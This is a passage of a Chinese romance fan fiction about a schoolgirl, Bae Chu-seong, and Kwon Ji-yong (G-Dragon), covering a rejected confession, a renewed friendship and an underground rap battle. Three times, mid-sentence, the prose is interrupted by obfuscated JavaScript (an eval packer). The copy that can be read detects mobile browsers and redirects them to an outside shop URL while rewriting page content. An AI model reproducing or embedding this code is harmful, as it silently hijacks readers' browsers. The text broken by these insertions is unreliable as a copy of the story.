语气里依旧残留着一些不以为意,试图淡化问题的严重性,但“玩弄真心”这四个字,像一根细小的刺,已经精准地扎进了她的心里,投下了一丝极淡却无法忽视的阴影。 她想了很久,但想的更多的,并非是如何审视自己的内心,如何看待权至龙这个人,而是“如何体面地、不失风度地结束这个似乎有些越界的游戏”。她甚至生出一种居高临下的“仁慈”和自我感动:权至龙这人吧,虽然烦人了点,但本质似乎还不坏,对自己也算是真心实意。一直这样不明不白地吊着他,好像确实有点不厚道,显得自己太残忍了。算了,不如找个机会,给他一个明确而温和的拒绝,让他彻底死心吧。这样对他公平,对自己也是一种解脱,省得总被这种“骚扰”和内心的微妙感所困扰。她为自己的这种“理性思考”和“善良决定”感到相当满意,仿佛自己掌握着绝对的主动权,正在进行一场优雅的退场安排。 然而,生活往往不按预设的剧本上演。权至龙接下来的行动,完全打乱了她自以为从容的节奏。 傍晚,天色将暗未暗,教学楼里的人都走得差不多了,走廊空旷而安静。在几乎无人的、光线昏暗的楼梯拐角,权至龙堵住了正准备下楼的她。这一次,他没有像往常那样嬉皮笑脸地找话题,也没有递上什么精心准备的小礼物,而是进行了一场显然鼓足了全部勇气、带着几分孤注一掷意味的、正面而直接的告白。他的脸在昏暗的光线下红得像烧红的炭火,连脖颈都透着粉色,眼神滚烫得几乎要将人灼伤,平日里能言善辩的嘴巴此刻却变得笨拙无比,话语组织得有些凌乱,甚至能听出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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事情似乎按照她预想的方向发展了,“纠缠”消失了,“烦恼”解除了。预期的轻松和解脱感并没有如期而至,反而被一种莫名的、越来越清晰的空虚感所取代。那感觉,就像自己房间里一件摆了很久、平时可能并不怎么在意、甚至有时觉得碍事的熟悉摆设,被突然毫无征兆地搬走了。虽然不常用到它,但那个突然空出来的位置,却显得格外刺眼,每次目光扫过,都会提醒你那里缺失了什么。生活中属于权至龙的那些“噪音”和“痕迹”被彻底抹去后,留下的是一片过分的、让人有些不习惯的寂静。 她开始清晰地、无法回避地感受到他的“消失”。校门口再也看不到那个无论晴雨、都会准时出现、有时还会傻乎乎朝着她张望的熟悉身影;耳边再也听不到那些精心设计却往往显得笨拙的搭讪和关心;即使偶然相遇,他也只会迅速移开视线,沉默地避开。那份曾经无处不在的、炽热的关注,彻底从她的世界里抽离了。 她试图安慰自己:这样最好,清净了,本来就不喜欢他。 但是,那份过分的、死寂般的寂静,却像不断扩大的背景音,反而让她感到一种难以言喻的不适应和……失落。她偶尔会不受控制地想起他最后一次告白时,那个绝望又努力想维持住最后一点尊严的苍白表情,那根细小的针便会再次刺向她心尖那个痛点。她不得不开始承认,尽管她不喜欢他,但她早已在不知不觉中,习惯了他所带来的那种被极度重视、被特殊对待的感觉。这种“被偏爱”的体验,本身就是一种令人愉悦的、能带来巨大安全感和虚荣满足的精神滋养。它像温暖的阳光,而她则是那朵习惯于沐浴其中的花。 现在,阳光消失了,滋养源切断了。她得到了想要的清净和主动权,却也失去了那份曾经支撑着她部分虚荣心和安全感的热量来源。她亲手果断地终结了一场她认为无聊的追逐游戏,却发现自己并非如预期般毫发无伤——她失去的,是一种她未曾真正珍视过、却已然在心理上产生依赖的、“被爱”的明证和底气。 这片由她自己主动选择并造成的寂静,开始让她无法逃避地、清晰地听见自己心跳中那一丝微弱的、陌生的、却持续存在的回响——那是失去一份厚重偏爱后,不可避免的失落。 15. 温暖的桥梁 那场明确拒绝之后,初星心里那点不适和波澜很快就平复了。她已经把话说清楚了,“对不起”三个字清晰无误,没有任何拖泥带水。她认为自己尽到了告知的义务,至于对方听后是伤心还是难过,那就不再是她的责任范围。她很快便将这件事抛诸脑后,继续她按部就班、略显平淡的生活。 半个月后,当权至龙的身影再次出现在她放学必经的路口时,初星确实意外地、几不可见地挑了一下纤细的眉毛。她没想到他还会出现,而且是以这样一种……看似平静的姿态。 他站在她面前,距离保持得恰到好处,不再像以前那样急切地靠近。他眼神里曾经那种几乎能灼伤人的、毫不掩饰的炽热似乎收敛了不少,被一层努力维持的平静所覆盖,但那份专注的、仿佛整个世界只剩下她一个人的目光,却依旧令人无法忽视,像无形的丝线,缠绕过来。他深吸了一口气,努力让自己的语气听起来轻松自然,甚至带上了一点刻意营造的随意感,然后提出了那个经过反复思量、看似退而求其次的请求——“我们……做朋友吧。就像……普通同学那样,可以吗?” 初星安静地听完,脸上没什么明显的表情,既没有惊讶,也没有厌恶,更像是在听一个与自己关系不大的提议。然而,在她那双清澈却时常带着疏离感的眼眸深处,几乎立刻就看穿了他这份拙劣的伪装和那份隐藏在“朋友”名义下、根本未曾放下也放不下的心思。他小心翼翼掩藏起来的期待,他故作轻松语调里细微的颤抖,都像透明玻璃上的水痕,清晰可见。但她心里并没有因此产生什么波动,既无被如此执着追求的感动,也无被“纠缠”的厌烦,更像是一种纯粹的、带着旁观者般的洞察,其中还夹杂着一丝对于这种不死心行为的无奈。 哦,还是没死心。她在心里淡淡地下了结论。不过是换了个看似更安全、更不容易被直接拒绝的方式,试图重新靠近而已。一种策略性的后退。 她看着他那小心翼翼、带着点恳求意味的笑容,心里想的却是:我已经明确拒绝过你了,为什么还要这样。 但是,当他说完那句“做普通朋友就行”,并用那双因为紧张而显得格外漆黑、一眨不眨地、充满了紧张又无比期待的眼神看着她,等待着她的宣判时,她又不知道该如何回应了。直接戳穿他“朋友”幌子下的真实意图?似乎显得自己过于刻薄和不近人情。再次冷硬地拒绝?好像又有些重复和没必要,毕竟她认为自己已经表达得很清楚了。 最终,她既没有选择戳穿他那层薄弱的伪装,只是漠然地瞥了他一眼,然后用一种事不关己的、却隐隐透着一丝不易察觉的烦躁的语气,随口应道:“随便你。” 权至龙的眼睛却因为这句话像被瞬间点燃的烟花,骤然亮了起来,迸发出难以置信的惊喜光芒。他像是得到了某种莫大的、超出预期的恩赐和宽容,连忙用力地点头,声音里带着压抑不住的轻快和激动,应道:“好!好!那……那我们明天见!”说完,他几乎是带着一种失而复得的、生怕她反悔的急切,又混杂着巨大的喜悦,转身离开了,脚步轻快得仿佛要跳起来,那个背影充满了重新燃起的希望。 初星站在原地,看着他几乎有些雀跃的、消失在街角的背影,心里没有任何预期中的轻松,也没有产生任何额外的负担或责任感,但内心深处,确实涌起一股难以理解的困惑。她无法理解这种明明被明确拒绝后,仅仅因为一个“随便你”的模糊许可,就能立刻重新充满希望和动力的行为逻辑。 她都提醒过他了,也给过最明确的答案了。是他自己还要选择以这种所谓的“朋友”的方式,固执地待在她身边,继续付出那些可能永远得不到回应的情感和关怀。这是他自己的决定,是他一意孤行的选择。她不会为他的选择负责,更不会因为他的执着和可能受到的伤害而产生任何内疚感。她想着如果这样能让他自己心里好受一点,能给他一个继续靠近的借口,那就随他便吧。反正,她内心的界限已经划清,他的行为也不会改变什么实质性的东西。 她转过身,拢了拢肩上的书包带,继续走向自己回家的路,将这个小插曲和那个重新被希望点燃的背影,再次抛在脑后。 而此时的YG娱乐公司那间熟悉的练习室里,弥漫着浓重的汗水气味、地板蜡的味道以及年轻人努力拼搏后散发的蓬勃热气。权至龙和东永裴刚结束一轮近乎榨干体能的高强度舞蹈练习,两人都像是从水里捞出来一样,汗水浸透了单薄的训练服,紧贴在皮肤上。他们瘫坐在光滑得能映出人影的木质地板上一动不动,只剩下胸膛剧烈起伏着喘息,拿着矿泉水瓶的手都在微微颤抖,小口小口地补充着流失的水分。 空气中短暂的安静被永裴打破。他抬起手臂,用湿透的护腕擦了擦不断从额角、鬓边滚落的汗珠,侧过头,看着身边虽然同样疲惫却似乎比平时更加沉默的权至龙。作为从小一起长大、最了解他心思和情绪的挚友,永裴自然敏锐地察觉到了他这半个月持续的低气压,以及那种努力用练习和忙碌来掩饰、却依旧无法完全藏匿的失落与挣扎。 永裴犹豫了一下,看着好友明显消瘦了些的侧脸和眼下淡淡的青黑,还是忍不住开口,语气里带着真诚的、不加掩饰的困惑和深切的关切:“至龙啊……” “嗯?”权至龙闻声抬起头,额前湿透的刘海黏在皮肤上,眼神里带着高强度运动后的疲惫,但更深处,还有一种难以驱散的阴霾。 “我其实……还是有点想不明白。”永裴斟酌着用词,尽量让自己的语气听起来只是纯粹的探讨,而非指责或说教,“初星xi确实真的很漂亮!但是她……真的就有那么好?好到让你如此……非她不可吗?”他顿了顿,目光真诚地注视着至龙,继续说出自己的观察和不解,“你看,你这么好,喜欢你的、向你示好的女孩子也那么多,环绕在你身边的优秀女孩也不少,为什么偏偏就一定要是她呢?她对你……明明总是那么冷淡,甚至有些……疏远,现在更是明确只做‘朋友’……这到底算什么呢?你这样,不觉得辛苦吗?不觉得……委屈吗?” 他顿了顿,看着好友因为这些话而明显更加黯淡下去的眼神,心中不忍,但最终还是问出了那个最核心的、他希望至龙能认真思考的问题:“我们至龙,为什么就不能……试着换一个人喜欢呢?换一个……会更懂得珍惜你的好、会对你露出真心笑容、会开心地接受你的心意并给予回应的女孩,不好吗?那样你不是会更轻松、更快乐吗?” 练习室里一时间只剩下中央空调运作时发出的微弱嗡嗡声,以及两人尚未完全平复的喘息声。空气仿佛都变得凝滞起来。 权至龙低下头,视线落在光洁如镜的地板上,那里倒映着他们两人被灯光拉长的、有些扭曲的影子。他沉默了很久,他也知道永裴是为他好,这些话句句在理,逻辑上无懈可击。换一个人喜欢,听起来是那么简单又明智的选择,能够立刻摆脱现在的痛苦和纠结,走向一条看似更光明的道路。 然而,当权至龙再次抬起头时,他眼睛里的疲惫和阴霾似乎被某种东西驱散了一些,取而代之的是一种近乎偏执的清澈和一种不容置疑的坚定。他摇了摇头,动作很轻,态度却斩钉截铁,声音不大,却带着一种仿佛源于灵魂深处的确定感,似乎这个答案早已烙印在他的生命里,根本不需要经过大脑的思考权衡。 “不好。” 他顿了顿,像是要用力强调这个答案的绝对性,又清晰地重复了一遍。 “就是……不行。” “为什么?”永裴追问,眉头微微皱起,他是真的无法理解这种近乎自虐的执着。 权至龙的嘴角扯出一个有些苦涩又无比认真坦诚的弧度,他轻声说道,像是在陈述一个宇宙真理般简单的事实: “因为不是她啊。” 他的目光变得有些悠远,仿佛透过练习室布满水汽的镜子,看到了那个独一无二的身影。“其他人再好,再温柔,再漂亮,再喜欢我……但那都不是裴初星。不是那个会对我冷淡、会拒绝我、却也会在某个瞬间让我觉得整个世界都亮起来的裴初星。” “我也不知道为什么……可是,”他的目光收回,落在永裴充满不解的脸上,声音里带着一种无奈的、认命般的、却又无比执拗的温柔,“我的心,它只认得她。它只会因为她而跳得那么快,像要冲出胸膛;只会因为她的一句话、一个眼神,就瞬间上了天堂或者……跌入地狱。这种感觉,对其他人,从来没有过,也产生不了。” 他深吸一口气,眼神里是前所未有的清醒和固执,仿佛早已看清了前路的坎坷,却依然选择义无反顾:“永裴,我知道我很傻,我也知道这条路可能很难,甚至可能永远没有我想要的结果。但是,‘换一个人喜欢’……这种事情,对我来说,根本做不到。就像你无法强迫自己不喜欢唱歌跳舞一样,是一种本能。” “就是喜欢她。”他最后几乎是用气声,却无比清晰地强调,“只有她。只能是裴初星。” 说完这番话,他仿佛用尽了全身的力气,仰起头,将矿泉水瓶里最后一点水灌入口中,喉咙剧烈地滑动着。 永裴静静地听着,看着好友眼中那种混合着痛苦、幸福、迷茫和坚定的复杂光芒,最终,所有准备好的劝解和开导的话语都哽在喉咙口,化作嘴边一声悠长而无奈的叹息。他伸出手,用力地拍了拍权至龙的肩膀,一切尽在不言中。 练习室重新被寂静笼罩,只剩下空调的微风声,以及少年那颗固执地、倔强地、只为那一个特定的人而剧烈跳动的心,在空旷的房间里发出无声却震耳欲聋的轰鸣。 …… 时光悄然滑入十月,首尔的秋意愈发浓重,傍晚的风褪去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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权至龙被她看得有点不好意思,耳朵尖悄悄红了,眼神飘忽了一下,小声解释道:“就……就上次……嗯……给你外套那次……”他的话没说全,但初星瞬间就明白了。 她以为他早忘了,或者根本没在意这种小事。 可他不仅记住了,甚至还在心里默默计算好了大概的周期,然后在这个她刚好需要关怀和温暖的特定时刻,捧着这杯对症的、饱含心意的热饮,跨越了寒冷秋风,准时地、安静地出现在她的校门口,等待着她的出现。 这种沉默又精准的关怀,像一支温柔的箭,猝不及防地穿透了她习惯性伪装的冷漠外壳。 她双手抱着那杯滚烫得有些烫手的红糖姜茶,那实实在在的热度从指尖的神经末梢一路蔓延,顺着血液流动,好像连小腹那股隐隐的、令人烦躁的坠胀感都被这股暖流安抚,减轻了不少。她不由自主地低下头,长长的睫毛像蝶翼般轻轻颤动着,试图掩饰内心涌起的震动。周遭放学的喧闹声仿佛瞬间被隔绝开来,世界安静得只剩下她和他,以及手中这杯茶的温度。半晌,她才用很轻很轻、几乎要消散在风里的声音,说了一声:“……谢谢你,至龙。” 不是往常那种客气而疏离的、模糊的“谢谢”,也不是带着姓氏、刻意保持距离的“权至龙xi”。而是去掉了姓氏的、只带着名字的——“至龙”。 这两个字像羽毛一样轻轻落下,却让权至龙整个人都愣住了。他心脏猛地一跳,几乎不敢相信自己的耳朵。她第一次这样叫他……而且是用这样……温柔的语气。 喜悦和受宠若惊淹没了他,让他一时之间竟不知该如何反应,只是呆呆地看着她,耳朵以肉眼可见的速度迅速红透,张了张嘴,却只发出一个单音节:“……啊?” 初星看着他这副傻掉的样子,极快地掠过一丝很浅很浅的笑意。她没有再重复,只是低下头,小口地喝着他送来的姜茶,甜暖的滋味一直蔓延到心里最深处。 权至龙终于从冲击中回过神来,狂喜的情绪像烟花在他脑海中炸开,让他差点控制不住地想要原地跳起来欢呼,他努力用尽全身力气克制住这种冲动,但嘴角却不受控制地疯狂上扬,最终露出了一个灿烂无比、甚至带着点傻气和稚气的、毫无保留的笑容,眼睛弯成了好看的月牙形。 “不、不客气!”他的声音异常响亮,充满了掩饰不住的、几乎要溢出来的开心和激动,引得旁边路过的几个同学好奇地看了过来,“你……你喜欢就好!明天!明天这个时候,我再给你带!你想喝什么?还是姜茶?或者热可可?豆浆?”他开始兴奋地规划起来。 初星没有说好,也没有拒绝。她只是捧着温暖的杯子,感受着这份跨越了二十分钟距离、被默默铭记在心上的体贴。 秋风依旧带着萧瑟的凉意,吹动着她的发丝和衣角。但那一句轻如耳语却重若千钧的“谢谢你,至龙”,仿佛在他们之间那座由冰墙构筑的界限上,悄然融化出了一个小小的缺口,架起了一座微小却带着不可思议温度的桥梁。 16. 舞台上的光芒 十一月下旬,首尔的冬意已十分明显。寒风变得凛冽刺骨,天空总是带着一种灰蒙蒙的压抑色调,夜晚来得格外早,街道两旁的树木早已褪尽繁华,只剩下嶙峋的枝干,无声地对抗着彻骨的寒冷。 放学后天色已经完全暗了下来,才下午五点多,路灯和商铺的霓虹就已早早亮起,在冰冷干燥的空气里晕开一团团模糊而孤寂的光晕。权至龙像往常一样,和她并肩走着,手里小心地捧着一杯刚买的、滚烫的杏仁茶递给她。 初星接过温热的纸杯,那份实实在在的暖意透过杯壁传来,让她忍不住轻轻喟叹一声,赶紧脱下一边手套,用温热的杯身焐着冻得有些发僵、微微泛红的手指。 权至龙看着她暖和起来时微微放松的眉眼,眼底漾开温柔而满足的笑意。他又从自己温暖的口袋里掏出一个还冒着丝丝热气的牛皮纸袋,里面是刚出炉的糖炒栗子,香甜的气息瞬间钻入冷空气。“喏,这个也暖和。”他说着,就开始低头专注地剥起栗子来,灵巧的手指几下就褪去了坚硬带壳的外壳,露出金黄饱满的栗肉。 他一边仔细地剥着,一边像是鼓足了勇气,趁着这份暖意正浓、气氛恰好,小心翼翼地开口,声音在冷冽的空气中显得格外清晰,呵出的白气氤氲了他认真又带着点紧张的侧脸:“初星啊……” “嗯?”初星从氤氲的杏仁茶热气中抬起眼,鼻尖被冻得微微发红,看着他专注剥栗子的动作,那副样子莫名地让人安心。 “就是……这个周六晚上,”他斟酌着词句,将一颗剥得完整光滑、还冒着热气的栗子递到她拿着杯子的手边,然后又立刻低下头继续剥下一颗,仿佛这样能掩饰他的紧张,“我和几个朋友,在弘大那边的一个小俱乐部,有个很小的地下rap battle比赛……我,我也会上场。” 初星接过那颗温热的栗子放进嘴里,香甜软糯的口感在寒冷的天气里显得格外治愈。她有些惊讶地看向他,地下rap比赛?这和她平时看到的、那个在她面前有点傻气、只会送温暖饮品的权至龙完全联系不起来!俱乐部?比赛?听起来又吵又乱,充满了她不熟悉的领域……但是,好像……有点出乎意料的……酷? 权至龙被她看得有点不好意思,把脸往厚厚的羊绒围巾里埋了埋,只露出一双亮得惊人的、带着忐忑和期待的眼睛,眼神里的渴望无处遁形。他手下剥栗子的动作却没停,熟练地又将一颗剥好的递过去,像是在用食物增加自己的筹码。 “我们……我们现在不是朋友嘛……”他声音放低了些,带着点鼻音,不知是因为天冷还是故意放软了语气,听起来软乎乎的,带着点不易察觉的撒娇意味,“作为朋友……来给我加个油,好不好?那里面……暖气开得超级足,像夏天一样,一点都不冷。”他说着,又递过一颗饱满的栗子。“就一首歌!很快的!而且……”他顿了顿,眼神飘向别处,声音更小了,几乎像是在自言自语,却又确保她能清晰听到,手下依然不停地剥着栗子,像是在进行某种紧张的仪式,“……这种鬼天气,一个人往那种地方跑,感觉特别凄凉……像被抛弃的小狗一样……” 初星一颗接一颗地吃着他剥好的、香甜软糯的栗子,指尖和胃里都暖暖的。她看着他冻得发红却依旧认真剥栗子的手指,再想想室外这刮刀似的、能把人冻透的寒风,心里那点对陌生环境的犹豫和本能排斥,迅速被“室内超级暖气”、美食持续攻击和强烈的好奇心打败了。 她故意蹙起眉,呼出一大团白雾,装作很为难、很勉强的样子,嘴里还嚼着他刚递过来的栗子,声音含糊:“……这么冷的晚上,跑去弘大那种吵吵闹闹的地方?听起来就很折腾人。” “不折腾!一点都不折腾!”权至龙立刻保证,手下剥栗子的动作更快更急了,眼睛瞪得圆圆的,生怕她反悔,“俱乐部就在地铁口旁边!出来走两步就是!里面真的特别特别暖和,你甚至可以只穿一件薄毛衣!我以我的rap梦想保证!”他急得语速飞快,但递栗子的动作依旧稳定精准,像是在进行最后的努力,“如果你能来,我肯定超常发挥,把场子炸热!炸穿!”说着,又把两颗剥得完美的栗子塞进她手里,眼神里充满了“求你相信我”的恳切。 初星看着他极力推销、恨不得对天发誓、却还不忘给自己持续投喂温暖栗子的样子,又感受着嘴里和手里源源不断的温暖香甜,终于松了口。她扭过头,用一副勉为其难、仿佛吃了大亏的语气说道,嘴角却忍不住微微上扬,泄露了她的真实情绪: “……唉,好吧。”停顿了一下,她立刻找补,像是在说服自己,也像是在维护最后的矜持:“反正周六晚上在家也挺无聊的,就去看看你到底怎么吹牛炸场子的吧,主要是……听说暖气很足,而且……”她晃了晃手里还剩的栗子,找了个最实在的理由,“……这家的栗子还挺好吃的。” 权至龙脸上的表情瞬间像被烟花点亮了一样,喜悦和兴奋驱散了所有的寒冷和紧张,他笑得眼睛弯成了缝,灿烂得几乎要照亮这个寒冷的冬夜,连剥栗子的手都顿住了,一颗剥到一半的栗子差点掉地上。“真的?你答应了?太棒了!初星你真是最好的——朋友!最好的!”他高兴得有点语无伦次,手足无措,“到时候一定不会让你觉得冷!也不会无聊!栗子管够!管饱!” 寒风吹过,卷起地上的几片枯叶,发出沙沙的声响,但权至龙却完全感觉不到冷,兴奋地开始语无伦次地规划周六的路线,反复强调着俱乐部的温暖和如何接她,手下又开始下意识地、机械地剥起了栗子,仿佛这是他现在表达开心和激动的唯一方式。初星在一旁安静地听着,吃着香甜的栗子,看着他被冻得通红却洋溢着无限热情、还不停给自己投喂的傻气脸庞,心里和身上都暖烘烘的,一种莫名的期待感悄悄滋生。 …… 周六晚上,寒意更浓,呵气成霜。初星按照约定,来到了弘大那家藏在地下室、不起眼的“回声”俱乐部。一推开厚重的隔音门,震耳欲聋的低音节奏和扑面而来的、混合着青春荷尔蒙、淡淡烟味与暖气热浪的复杂气息瞬间将她包裹,与门外凛冽寂静的冬夜仿佛是两个截然不同的世界。闪烁的灯光和攒动的人头让她瞬间有些恍惚。 权至龙早已焦急地等在入口处,像一座望妻石,不断张望。看到她进来,眼睛瞬间像探照灯一样亮了起来,拨开人群迎上来。他今晚的造型比平时更加张扬不羁,穿着oversize的黑色卫衣和宽松的工装裤和黑色帽子,脖子上挂着几条银色链条,耳钉在变幻的激光灯下偶尔闪过一点锐利的光芒,整个人透着一股初星从未见过的、野性的街头气息。但看到初星时,那眼神里的紧张、关切和纯粹的期待,却和他递过热饮、剥着栗子时一模一样,形成一种奇妙的反差。 “初星!你来了!”他看到她,眼睛瞬间亮起来,明显松了一口气,但紧张感也更明显了,声音在嘈杂的音乐中不得不提高,“里面……里面人有点多,有点吵,你跟紧我,别怕。” “嗯。”初星点点头,跟紧了他,穿越热情高涨的人群。 初星微微蹙了下眉,这里的喧嚣、拥挤和浓烈的气氛确实超出了她的日常舒适区。权至龙敏锐地注意到了她细微的不适应,他小心地护在她身边,用手臂和身体帮她隔开拥挤的人群,艰难地把她带到了一个相对靠近舞台侧方、视野不错又能避开人潮冲击的角落。 “你就在这里,这个位置最好,能看清全场,也不容易被挤到。”他几乎是凑到她耳边提高音量说,呼吸的热气夹杂着淡淡的薄荷糖味道扫过她的耳廓。初星觉得耳朵有点痒,不动声色地往旁边偏了偏头。 “你……你快去准备吧。”她看着他额角细微的汗珠,和那双写满“我要上台了快鼓励我”的眼睛,忍不住说了一句。 “好!我第三个上场!你……你一定要看我表演!看着我!”权至龙用力点头,眼神里充满了“一定要看我”的恳求和不放心,才一步三回头、恋恋不舍地挤向后台方向。 初星一个人站在角落,背靠着微凉的墙壁,看着周围随着音乐疯狂晃动、呐喊的狂热人群和炫目刺眼的灯光,感觉有点不真实,像误入了一个光怪陆离的异次元。她很难把眼前这个粗粝、热血的地下音乐场景和那个每天给她送温暖饮品、笨拙剥栗子的傻气男孩联系起来。 很快,报幕员用嘶哑的嗓音喊到了权至龙的名字。初星立刻屏息凝神,集中了所有注意力看向舞台。 灯光再次亮起时,权至龙已经站在了麦克风前。他调整了一下麦克风的高度,低下头,深吸一口气,再抬起头的瞬间——他整个人的气场都发生了翻天覆地的变化! 刚才在她身边的紧张、局促和小心翼翼彻底消失了,仿佛被舞台上的灯光蒸发殆尽。取而代之的是一种强大的、狂妄的自信和绝对的掌控力。他的眼神变得锐利而专注,像锁定猎物的豹子,握着麦克风的手势流畅而有力,每一个细微的动作都充满了swag。他开口,flow顺畅得像疾驰的列车,押韵巧妙而富有攻击性,歌词里充满了不甘平凡的冲劲、对世界的质疑和属于他这个年纪的、 原始而蓬勃的锐气,他的声音透过高质量的音响穿透整个喧嚣的空间,极具穿透力和感染力,瞬间抓住了所有人的耳朵。 台下的观众开始疯狂地跟着他的节奏晃动身体,发出震耳欲聋的欢呼和尖叫,整个场子的温度仿佛又升高了几度。 初星彻底看呆了,忘记了周遭的一切。 这……真的是那个在她面前会脸红、会傻笑、会因为一句随口的话就高兴得不知所措、会因为一颗剥好的栗子就开心半天的傻气男孩? 舞台上的他,仿佛在发光,是绝对的主角。那种全然的专注、燃烧的热爱、掌控全场的霸气、甚至那一点恰到好处的嚣张和不可一世,是她从未见过的、截然不同的、极具冲击力的魅力。这种反差太大了,大到让她心脏怦怦直跳,一种难以言喻的欣赏席卷了她。 一首歌很快在高潮中结束,音乐戛然而止,余韵未消。权至龙微微喘着气,额发被汗水打湿,他对着麦克风低沉地说了声“谢谢,我是G-DRAGON”,目光急切地在台下狂热的人群中搜寻,很快精准地锁定了角落里的她。 四目相对。 他脸上舞台上的酷拽、狂傲表情瞬间冰雪消融,变回了她熟悉的那个男孩,眼睛亮晶晶地看着她,脸上带着剧烈表演后的潮红和一点点不确定的、等待她评判的期待,下意识地抿了抿嘴,像个等待老师打分的小学生。 初星看着他这副“变脸”、从王者变回大男孩的样子,想起他刚才在台上光芒万丈、掌控全场的模样,心里酥麻而震撼。她忘记了自己所在的环境,也忘记了要维持什么表情,遵循着内心最直接的冲动,对着台上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680906|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,露出了一个清晰的、毫无保留的、大大的笑容,然后用力地、无比肯定地朝他竖起了大拇指。 台上的权至龙,看到她这个灿烂如阳光的笑容和那个无比肯定的手势,先是一愣,不敢相信,随即脸上的忐忑瞬间被狂喜和满足取代。他笑得露出了牙齿,眼睛弯成了月牙,也顾不上还在台上、台下还有那么多观众了,超级用力地、像个孩子一样对着她的方向挥了挥手,仿佛全世界的认可都比不上她这一个笑容和一个手势。 初星看着他那副傻乎乎高兴、完全没了台上气场的样子,也忍不住一直笑着摇头,心里充满了复杂的、新奇的感觉。 这个权至龙,好像…真的有点厉害。深藏不露。 而且,好像.....越来越有意思了。让人忍不住想去探索更多。 比赛结束后,权至龙第一时间从后台挤到她身边,脸上还带着未褪的兴奋和汗水,呼吸还有些急促,眼睛亮得惊人,像盛满了星星:“怎么样?没骗你吧?是不是挺暖和的?没冷到吧?” 初星看着他这副急于求表扬、又担心她不适的样子,忍不住笑了,那笑容比平时柔和了许多,点了点头:“嗯,是挺暖和的。而且……”她顿了顿,认真地看向他的眼睛,“……挺厉害的。真的很厉害。” 仅仅是“挺厉害的”这四个字,就让权至龙开心得快要飞起来,感觉所有的努力和练习都值了,比赢了比赛还高兴。 两人走出俱乐部,瞬间被冰冷刺骨的空气包裹,忍不住都打了个实实在在的寒颤。刚才里面的热火朝天、声浪扑鼻仿佛一场激烈而短暂的幻梦。 “走吧,送你回家。”权至龙很自然地说,帮忙把初星的外套拉链又往上拉了点,试图挡住冷风。 回去的路上,两人有一搭没一搭地聊着刚才的比赛。权至龙依旧兴奋,给她讲着后台的趣事,分析着其他选手的优缺点,语气中充满了对hip-hop的热爱和见解。初星安静地听着,偶尔问一句,或点点头,寒冷的夜风似乎也因为这份分享和默契而没那么难熬了。 在快要走到初星家楼下时,权至龙停下了话头,惊讶地抬起头,望向漆黑绒布般的天幕:“咦?这是……” 初星也若有所感地抬起头。 只见一点点晶莹的、细小的白色颗粒,从漆黑的夜空中缓缓飘落下来,在路灯昏黄的光晕里翩翩起舞,静静地、温柔地落在他们的头发上、肩膀上、眼睫毛上,带来一丝丝冰凉的触感。 “下雪了……”初星轻声说,伸出手,一片完整的、漂亮的雪花落在她的指尖,瞬间融化成一滴微小的水珠。 “是初雪啊!”权至龙的声音里带着孩子般的惊喜和一种难以言喻的激动,“今年的第一场雪!” 两人不约而同地停住了脚步,站在路灯下,仰头看着这冬季悄然馈赠的第一场雪。雪花渐渐变得密集,无声地装点着寒冷的夜晚,世界仿佛变得安静而圣洁。 初星完全被这突如其来的、静谧的初雪吸引了。她仰着脸,感受着雪花亲吻脸颊的冰凉触感,嘴角抑制不住地向上扬起,露出了一个权至龙从未见过的、极其甜美而纯粹的笑容,充满了小女孩般毫不设防的惊喜与开心,纯净得不可思议。她嘴角那颗尖尖的小虎牙也俏皮地露了出来,眼睛亮晶晶地追随着飘落的雪花,还微微张开手,像要拥抱这片星空落下的礼物,全然沉浸在这份简单的、属于片刻的快乐里。 她笑得那么开心,那么投入,以至于完全没有注意到身边骤然安静的权至龙,更没有察觉到他投向她的、那几乎凝滞的、充满了铺天盖地的温柔目光。 权至龙的心又漏了一拍,然后疯狂加速,几乎看呆了,忘记了呼吸。周遭的一切喧嚣和寒冷仿佛都模糊褪色,成了背景板。 在她仰头笑得最开怀、最毫无保留的那一刻,路灯的光线恰到好处地、温柔地照亮她的侧脸——他无比清晰地看到了她左眉下方、那颗平时被头发稍稍遮挡、难以注意到的、小小的、浅褐色的痣。它静静地缀在那里,像一颗温柔的、神秘的星子,悄然坠落在她此刻甜美得令人心颤的笑靥之上,与那颗俏皮的小虎牙一起,构成了一幅瞬间击中他灵魂最柔软处的、独一无二的、永恒的画面。 “初雪……”他无意识地、喃喃低语,声音沙哑而低沉,充满了澎湃的情感。 然而初星正忙于感受雪花落在脸上的冰凉触感和这份静谧的浪漫,听到他的声音,也只是依旧望着天空,笑着应和,语气轻快:“嗯!是初雪呢!”她的注意力仍在天空,并没有转头,自然也完全错过了他眼中翻涌的、几乎要溢出的惊涛骇浪和浓得化不开的柔情。 过了几秒,她才像是从这短暂的、魔法的氛围中回过神来,低下头,轻轻拍了拍头发和肩膀上的雪花,语气依旧带着未尽的笑意和一丝满足:“好了,快到了,走吧。”她说着,率先迈开了脚步,仿佛刚才那惊艳的、动人的瞬间只是冬日夜晚一个平常而美丽的插曲。 